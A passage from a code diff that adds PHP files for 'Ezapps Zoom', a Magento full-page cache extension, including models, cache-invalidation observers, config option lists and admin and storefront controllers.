37 |
+
return false;
|
38 |
+
}
|
39 |
+
|
40 |
+
|
41 |
+
}
|
app/code/local/Ezapps/Zoom/Model/Mysql4/Page.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Page Resource Object
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Model_Mysql4_Page extends Mage_Core_Model_Mysql4_Abstract
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
public function _construct()
|
20 |
+
{
|
21 |
+
$this->_init('ezzoom/ezapps_zoom_page', 'id');
|
22 |
+
}
|
23 |
+
|
24 |
+
}
|
app/code/local/Ezapps/Zoom/Model/Mysql4/Page/Collection.php
ADDED
@@ -0,0 +1,74 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Page Cache Collection
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Model_Mysql4_Page_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
public function _construct()
|
20 |
+
{
|
21 |
+
$this->_init('ezzoom/page');
|
22 |
+
}
|
23 |
+
|
24 |
+
public function getStats() {
|
25 |
+
|
26 |
+
$this->getSelect()->columns('SUM(hits) AS hits')->columns('COUNT(*) AS misses');
|
27 |
+
|
28 |
+
return $this->getFirstItem();
|
29 |
+
}
|
30 |
+
|
31 |
+
public function consolidateMisses() {
|
32 |
+
|
33 |
+
$this->getSelect()->columns('SUM(hits) AS hits')->group(array('store_id', 'uri'));
|
34 |
+
return $this;
|
35 |
+
|
36 |
+
}
|
37 |
+
|
38 |
+
public function filterByStore ($store_id) {
|
39 |
+
|
40 |
+
if ($store_id > 0)
|
41 |
+
$this->addFieldToFilter('store_id', array('eq' => $store_id));
|
42 |
+
|
43 |
+
return $this;
|
44 |
+
|
45 |
+
}
|
46 |
+
|
47 |
+
public function delete() {
|
48 |
+
|
49 |
+
foreach ($this as $item) {
|
50 |
+
Mage::helper('ezzoom')->deleteFile($item->getFilename());
|
51 |
+
$item->delete();
|
52 |
+
}
|
53 |
+
|
54 |
+
return true;
|
55 |
+
|
56 |
+
}
|
57 |
+
|
58 |
+
public function getSize() {
|
59 |
+
|
60 |
+
if(is_null($this->_totalRecords))
|
61 |
+
{
|
62 |
+
$this->_renderFilters();
|
63 |
+
$sql = $this->getSelect();
|
64 |
+
$resource = Mage::getSingleton('core/resource');
|
65 |
+
$read = $resource->getConnection('core_read');
|
66 |
+
$res = $read->query($sql->assemble())->fetchAll();
|
67 |
+
$this->_totalRecords = count($res);
|
68 |
+
}
|
69 |
+
return intval($this->_totalRecords);
|
70 |
+
|
71 |
+
}
|
72 |
+
|
73 |
+
|
74 |
+
}
|
app/code/local/Ezapps/Zoom/Model/Observer.php
ADDED
@@ -0,0 +1,167 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Page Observer
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Model_Observer extends Mage_Core_Model_Abstract
|
13 |
+
{
|
14 |
+
public function clearProduct($product_event) {
|
15 |
+
|
16 |
+
$product = $product_event->getProduct()->getOrigData();
|
17 |
+
|
18 |
+
if ($product['store_id'] != 0)
|
19 |
+
$stores[] = $product['store_id'];
|
20 |
+
else
|
21 |
+
foreach (Mage::getModel('core/store')->getCollection() as $store)
|
22 |
+
$stores[] = $store->getId();
|
23 |
+
|
24 |
+
foreach ($stores as $store_id) {
|
25 |
+
|
26 |
+
$uris = Mage::getModel('core/url_rewrite')->getCollection()
|
27 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
28 |
+
->addFieldToFilter('product_id', array('eq' => $product['entity_id']));
|
29 |
+
|
30 |
+
foreach ($uris as $uri) {
|
31 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
32 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
33 |
+
->addFieldToFilter('uri', array('eq' => "/" . $uri->getRequestPath()))->delete();
|
34 |
+
}
|
35 |
+
|
36 |
+
$uris = Mage::getModel('core/url_rewrite')->getCollection()
|
37 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
38 |
+
->addFieldToFilter('target_path', array('eq' => "catalog/product/view/id/" . $product['entity_id']));
|
39 |
+
|
40 |
+
foreach ($uris as $uri) {
|
41 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
42 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
43 |
+
->addFieldToFilter('uri', array('eq' => "/" . $uri->getRequestPath()))->delete();
|
44 |
+
}
|
45 |
+
|
46 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
47 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
48 |
+
->addFieldToFilter('uri', array('eq' => "/catalog/product/view/id/" . $product['entity_id']))->delete();
|
49 |
+
|
50 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
51 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
52 |
+
->addFieldToFilter('uri', array('like' => "/catalog/product/view/id/" . $product['entity_id'] . '/%'))->delete();
|
53 |
+
|
54 |
+
$uris = Mage::getModel('core/url_rewrite')->getCollection()
|
55 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
56 |
+
->addFieldToFilter('target_path', array('eq' => "review/product/list/id/" . $product['entity_id']));
|
57 |
+
|
58 |
+
foreach ($uris as $uri) {
|
59 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
60 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
61 |
+
->addFieldToFilter('uri', array('eq' => "/" . $uri->getRequestPath()))->delete();
|
62 |
+
}
|
63 |
+
|
64 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
65 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
66 |
+
->addFieldToFilter('uri', array('eq' => "/review/product/list/id/" . $product['entity_id']))->delete();
|
67 |
+
|
68 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
69 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
70 |
+
->addFieldToFilter('uri', array('like' => "/review/product/list/id/" . $product['entity_id'] . '/%'))->delete();
|
71 |
+
|
72 |
+
|
73 |
+
|
74 |
+
}
|
75 |
+
|
76 |
+
}
|
77 |
+
|
78 |
+
public function clearCategory($category_event) {
|
79 |
+
|
80 |
+
$category = $category_event['category'];
|
81 |
+
|
82 |
+
$stores = array();
|
83 |
+
|
84 |
+
if ($category->getStoreId() != 0)
|
85 |
+
$stores[] = $category->getStoreId();
|
86 |
+
else
|
87 |
+
foreach (Mage::getModel('core/store')->getCollection() as $store)
|
88 |
+
$stores[] = $store->getId();
|
89 |
+
|
90 |
+
foreach ($stores as $store_id) {
|
91 |
+
|
92 |
+
$uris = Mage::getModel('core/url_rewrite')->getCollection()
|
93 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
94 |
+
->addFieldToFilter('category_id', array('eq' => $category->getId()));
|
95 |
+
|
96 |
+
foreach ($uris as $uri) {
|
97 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
98 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
99 |
+
->addFieldToFilter('uri', array('eq' => "/" . $uri->getRequestPath()))->delete();
|
100 |
+
}
|
101 |
+
|
102 |
+
$uris = Mage::getModel('core/url_rewrite')->getCollection()
|
103 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
104 |
+
->addFieldToFilter('target_path', array('eq' => 'catalog/category/view/id/' . $category->getId()));
|
105 |
+
|
106 |
+
foreach ($uris as $uri) {
|
107 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
108 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
109 |
+
->addFieldToFilter('uri', array('eq' => "/" . $uri->getRequestPath()))->delete();
|
110 |
+
}
|
111 |
+
|
112 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
113 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
114 |
+
->addFieldToFilter('uri', array('eq' => "/catalog/category/view/id/" . $category->getId()))->delete();
|
115 |
+
|
116 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
117 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
118 |
+
->addFieldToFilter('uri', array('like' => "/catalog/category/view/id/" . $category->getId() . '/%'))->delete();
|
119 |
+
}
|
120 |
+
|
121 |
+
}
|
122 |
+
|
123 |
+
public function clearCMS($cms_page) {
|
124 |
+
|
125 |
+
$orig_page = $cms_page->getPage()->getOrigData();
|
126 |
+
$stores = $orig_page['store_id'];
|
127 |
+
if (count($stores) == 1 && $stores[0] == 0) {
|
128 |
+
$stores = array();
|
129 |
+
foreach (Mage::getModel('core/store')->getCollection() as $store) {
|
130 |
+
$stores[] = $store->getId();
|
131 |
+
}
|
132 |
+
}
|
133 |
+
|
134 |
+
foreach ($stores as $store_id) {
|
135 |
+
|
136 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
137 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
138 |
+
->addFieldToFilter('uri', array('eq' => "/{$orig_page['identifier']}"))->delete();
|
139 |
+
|
140 |
+
$id = Mage::getStoreConfig('web/default/cms_home_page', $store_id);
|
141 |
+
|
142 |
+
if ($id == $orig_page['identifier']) {
|
143 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
144 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
145 |
+
->addFieldToFilter('uri', array('eq' => "/"))->delete();
|
146 |
+
}
|
147 |
+
|
148 |
+
$uris = Mage::getModel('core/url_rewrite')->getCollection()
|
149 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
150 |
+
->addFieldToFilter('target_path', array('eq' => 'cms/page/view/page_id/' . $orig_page['page_id'] ));
|
151 |
+
|
152 |
+
foreach ($uris as $uri) {
|
153 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
154 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
155 |
+
->addFieldToFilter('uri', array('eq' => "/" . $uri->getRequestPath()))->delete();
|
156 |
+
}
|
157 |
+
|
158 |
+
Mage::getModel('ezzoom/page')->getCollection()
|
159 |
+
->addFieldToFilter('store_id', array('eq' => $store_id))
|
160 |
+
->addFieldToFilter('uri', array('eq' => 'cms/page/view/page_id/' . $orig_page['page_id']))->delete();
|
161 |
+
|
162 |
+
|
163 |
+
}
|
164 |
+
|
165 |
+
}
|
166 |
+
|
167 |
+
}
|
app/code/local/Ezapps/Zoom/Model/Page.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Page Cache Object
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Model_Page extends Mage_Core_Model_Abstract
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
public function _construct()
|
20 |
+
{
|
21 |
+
$this->_init('ezzoom/page');
|
22 |
+
}
|
23 |
+
|
24 |
+
}
|
app/code/local/Ezapps/Zoom/Model/System/Config/Backend/Gzip.php
ADDED
@@ -0,0 +1,97 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Page Cache Object
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Model_System_Config_Backend_Gzip extends Mage_Core_Model_Config_Data
|
13 |
+
{
|
14 |
+
|
15 |
+
public function toOptionArray()
|
16 |
+
{
|
17 |
+
$result = array();
|
18 |
+
$result[] = array(
|
19 |
+
'label' => "Off",
|
20 |
+
'value' => "0"
|
21 |
+
);
|
22 |
+
$result[] = array(
|
23 |
+
'label' => "1",
|
24 |
+
'value' => "1"
|
25 |
+
);
|
26 |
+
$result[] = array(
|
27 |
+
'label' => "2",
|
28 |
+
'value' => "2"
|
29 |
+
);
|
30 |
+
$result[] = array(
|
31 |
+
'label' => "3",
|
32 |
+
'value' => "3"
|
33 |
+
);
|
34 |
+
$result[] = array(
|
35 |
+
'label' => "4",
|
36 |
+
'value' => "4"
|
37 |
+
);
|
38 |
+
$result[] = array(
|
39 |
+
'label' => "5",
|
40 |
+
'value' => "5"
|
41 |
+
);
|
42 |
+
$result[] = array(
|
43 |
+
'label' => "6",
|
44 |
+
'value' => "6"
|
45 |
+
);
|
46 |
+
$result[] = array(
|
47 |
+
'label' => "7",
|
48 |
+
'value' => "7"
|
49 |
+
);
|
50 |
+
$result[] = array(
|
51 |
+
'label' => "8",
|
52 |
+
'value' => "8"
|
53 |
+
);
|
54 |
+
$result[] = array(
|
55 |
+
'label' => "9",
|
56 |
+
'value' => "9"
|
57 |
+
);
|
58 |
+
|
59 |
+
return $result;
|
60 |
+
}
|
61 |
+
|
62 |
+
|
63 |
+
public function afterCommitCallback()
|
64 |
+
{
|
65 |
+
|
66 |
+
$data = Mage::helper('ezzoom')->getRewrites();
|
67 |
+
|
68 |
+
foreach (Mage::getModel('core/store')->getCollection() as $store)
|
69 |
+
$stores[] = $store->getId();
|
70 |
+
|
71 |
+
foreach ($stores as $store_id) {
|
72 |
+
|
73 |
+
$path = Mage::getBaseDir() . DS . Mage::helper('ezzoom')->getVarFromEzoomHandler('ZOOM_ROOT');
|
74 |
+
|
75 |
+
$file1 = $path . DS . Mage::helper('ezzoom')->getVarFromEzoomHandler('STORE') . DS .
|
76 |
+
Mage::helper('ezzoom')->getVarFromEzoomHandler('ZOOM_CLIENT_MATCH_DATA');
|
77 |
+
|
78 |
+
if (file_exists($file1))
|
79 |
+
unlink($file1);
|
80 |
+
|
81 |
+
if (function_exists('apc_delete')) {
|
82 |
+
$key1 = Mage::helper('ezzoom')->getVarFromEzoomHandler('APC_KEY') . DS .
|
83 |
+
Mage::helper('ezzoom')->getVarFromEzoomHandler('STORE') . DS .
|
84 |
+
Mage::helper('ezzoom')->getVarFromEzoomHandler('ZOOM_CLIENT_MATCH_DATA');
|
85 |
+
if (apc_exists($key1))
|
86 |
+
apc_delete($key1);
|
87 |
+
}
|
88 |
+
|
89 |
+
}
|
90 |
+
|
91 |
+
|
92 |
+
return parent::afterCommitCallback();
|
93 |
+
|
94 |
+
}
|
95 |
+
|
96 |
+
|
97 |
+
}
|
app/code/local/Ezapps/Zoom/Model/System/Config/Backend/Link.php
ADDED
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Page Cache Object
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Model_System_Config_Backend_Link extends Mage_Core_Model_Abstract
|
13 |
+
{
|
14 |
+
|
15 |
+
public function toOptionArray()
|
16 |
+
{
|
17 |
+
$result = array();
|
18 |
+
$result[] = array(
|
19 |
+
'label' => "Off",
|
20 |
+
'value' => "0"
|
21 |
+
);
|
22 |
+
$result[] = array(
|
23 |
+
'label' => "Homepage",
|
24 |
+
'value' => "1"
|
25 |
+
);
|
26 |
+
$result[] = array(
|
27 |
+
'label' => "All Pages",
|
28 |
+
'value' => "2"
|
29 |
+
);
|
30 |
+
|
31 |
+
|
32 |
+
|
33 |
+
return $result;
|
34 |
+
}
|
35 |
+
|
36 |
+
|
37 |
+
}
|
app/code/local/Ezapps/Zoom/Model/System/Config/Backend/Punch.php
ADDED
@@ -0,0 +1,35 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Page Cache Object
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Model_System_Config_Backend_Punch extends Mage_Core_Model_Abstract
|
13 |
+
{
|
14 |
+
|
15 |
+
public function toOptionArray()
|
16 |
+
{
|
17 |
+
$result = array();
|
18 |
+
$result[] = array(
|
19 |
+
'label' => "Auto",
|
20 |
+
'value' => "1"
|
21 |
+
);
|
22 |
+
$result[] = array(
|
23 |
+
'label' => "On",
|
24 |
+
'value' => "2"
|
25 |
+
);
|
26 |
+
$result[] = array(
|
27 |
+
'label' => "Off",
|
28 |
+
'value' => "0"
|
29 |
+
);
|
30 |
+
|
31 |
+
return $result;
|
32 |
+
}
|
33 |
+
|
34 |
+
|
35 |
+
}
|
app/code/local/Ezapps/Zoom/Model/Url.php
ADDED
@@ -0,0 +1,43 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Zoom Url Rewrite Modification
|
4 |
+
*
|
5 |
+
* @category Ezapps
|
6 |
+
* @package Ezapps_Zoom
|
7 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
8 |
+
* @license: EPL 1.0
|
9 |
+
*/
|
10 |
+
class Ezapps_Zoom_Model_Url extends Mage_Core_Model_Url
|
11 |
+
{
|
12 |
+
|
13 |
+
private $_no_reorder = true;
|
14 |
+
|
15 |
+
public function getQuery($escape = false)
|
16 |
+
{
|
17 |
+
if (Mage::helper('ezzoom')->isEnabled() && $this->_no_reorder == true && Mage::registry('current_category') ) {
|
18 |
+
if (!$this->hasData('query')) {
|
19 |
+
$query = '';
|
20 |
+
$params = $this->getQueryParams();
|
21 |
+
if (is_array($params)) {
|
22 |
+
$query = http_build_query($params, '', $escape ? '&' : '&');
|
23 |
+
}
|
24 |
+
$this->setData('query', $query);
|
25 |
+
}
|
26 |
+
return $this->_getData('query');
|
27 |
+
} else return parent::getQuery($escape);
|
28 |
+
}
|
29 |
+
|
30 |
+
|
31 |
+
public function getUrl($routePath = null, $routeParams = null)
|
32 |
+
{
|
33 |
+
|
34 |
+
list($routePath, $routeParams, $this->_no_reorder) = Mage::helper('ezzoom')->processUrl($routePath, $routeParams);
|
35 |
+
|
36 |
+
return parent::getUrl($routePath, $routeParams);
|
37 |
+
|
38 |
+
}
|
39 |
+
|
40 |
+
|
41 |
+
|
42 |
+
|
43 |
+
}
|
app/code/local/Ezapps/Zoom/controllers/Adminhtml/EzzoomController.php
ADDED
@@ -0,0 +1,69 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Adminhtml Cache Listing Controller
|
5 |
+
*
|
6 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
7 |
+
* @license: EPL 1.0
|
8 |
+
*/
|
9 |
+
|
10 |
+
class Ezapps_Zoom_Adminhtml_EzzoomController extends Mage_Adminhtml_Controller_Action
|
11 |
+
{
|
12 |
+
|
13 |
+
protected function _initAction() {
|
14 |
+
$this->loadLayout()
|
15 |
+
->_addBreadcrumb(Mage::helper('adminhtml')->__('Zoom Cache Manager'), Mage::helper('adminhtml')->__('Zoom Cache Manager'));
|
16 |
+
|
17 |
+
return $this;
|
18 |
+
}
|
19 |
+
|
20 |
+
public function indexAction() {
|
21 |
+
$this->_initAction()
|
22 |
+
->renderLayout();
|
23 |
+
}
|
24 |
+
|
25 |
+
public function clearAction() {
|
26 |
+
|
27 |
+
$id = $this->getRequest()->getParam('id');
|
28 |
+
Mage::helper('ezzoom')->clearCache($id);
|
29 |
+
Mage::getSingleton('adminhtml/session')->addSuccess(
|
30 |
+
Mage::helper('adminhtml')->__(
|
31 |
+
'Page successfully cleared'
|
32 |
+
)
|
33 |
+
);
|
34 |
+
$this->_redirect('*/*/index');
|
35 |
+
}
|
36 |
+
|
37 |
+
public function flushAction() {
|
38 |
+
|
39 |
+
Mage::helper('ezzoom')->flushCache();
|
40 |
+
Mage::getSingleton('adminhtml/session')->addSuccess(
|
41 |
+
Mage::helper('adminhtml')->__(
|
42 |
+
'Cache successfully cleared'
|
43 |
+
)
|
44 |
+
);
|
45 |
+
$this->_redirect('*/*/index');
|
46 |
+
}
|
47 |
+
|
48 |
+
public function massDeleteAction() {
|
49 |
+
|
50 |
+
$pages = $this->getRequest()->getPost('page');
|
51 |
+
if(!is_array($pages)) {
|
52 |
+
Mage::getSingleton('adminhtml/session')->addError(Mage::helper('adminhtml')->__('Please select item(s)'));
|
53 |
+
} else {
|
54 |
+
try {
|
55 |
+
foreach ($pages as $id) {
|
56 |
+
Mage::helper('ezzoom')->clearCache($id);
|
57 |
+
}
|
58 |
+
Mage::getSingleton('adminhtml/session')->addSuccess(
|
59 |
+
Mage::helper('adminhtml')->__(
|
60 |
+
'Total of %d record(s) were successfully deleted', count($pages)
|
61 |
+
)
|
62 |
+
);
|
63 |
+
} catch (Exception $e) {
|
64 |
+
Mage::getSingleton('adminhtml/session')->addError($e->getMessage());
|
65 |
+
}
|
66 |
+
}
|
67 |
+
$this->_redirect('*/*/index');
|
68 |
+
}
|
69 |
+
}
|
app/code/local/Ezapps/Zoom/controllers/CurrencyController.php
ADDED
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Currency Overridder
|
5 |
+
*
|
6 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
7 |
+
* @license: EPL 1.0
|
8 |
+
*/
|
9 |
+
|
10 |
+
require_once("Mage/Directory/controllers/CurrencyController.php");
|
11 |
+
|
12 |
+
class Ezapps_Zoom_CurrencyController extends Mage_Directory_CurrencyController
|
13 |
+
{
|
14 |
+
public function switchAction()
|
15 |
+
{
|
16 |
+
if (Mage::helper('ezzoom')->isEnabled() && Mage::helper('ezzoom')->punchStatus('currency') > 0) {
|
17 |
+
|
18 |
+
if ($currency = $this->getRequest()->getParam('currency'))
|
19 |
+
Mage::getSingleton('customer/session')->setMaskedCurrency($currency);
|
20 |
+
|
21 |
+
|
22 |
+
if (Mage::getSingleton('customer/session')->getLastEzzoomUrl() != '')
|
23 |
+
$this->getResponse()->setRedirect(Mage::getSingleton('customer/session')->getLastEzzoomUrl());
|
24 |
+
else
|
25 |
+
$this->getResponse()->setRedirect(Mage::getBaseUrl());
|
26 |
+
|
27 |
+
} else parent::switchAction();
|
28 |
+
}
|
29 |
+
}
|
app/code/local/Ezapps/Zoom/controllers/HoleController.php
ADDED
@@ -0,0 +1,141 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom Hole Punching Controller
|
5 |
+
*
|
6 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
7 |
+
* @license: EPL 1.0
|
8 |
+
*/
|
9 |
+
|
10 |
+
class Ezapps_Zoom_HoleController extends Mage_Core_Controller_Front_Action
|
11 |
+
{
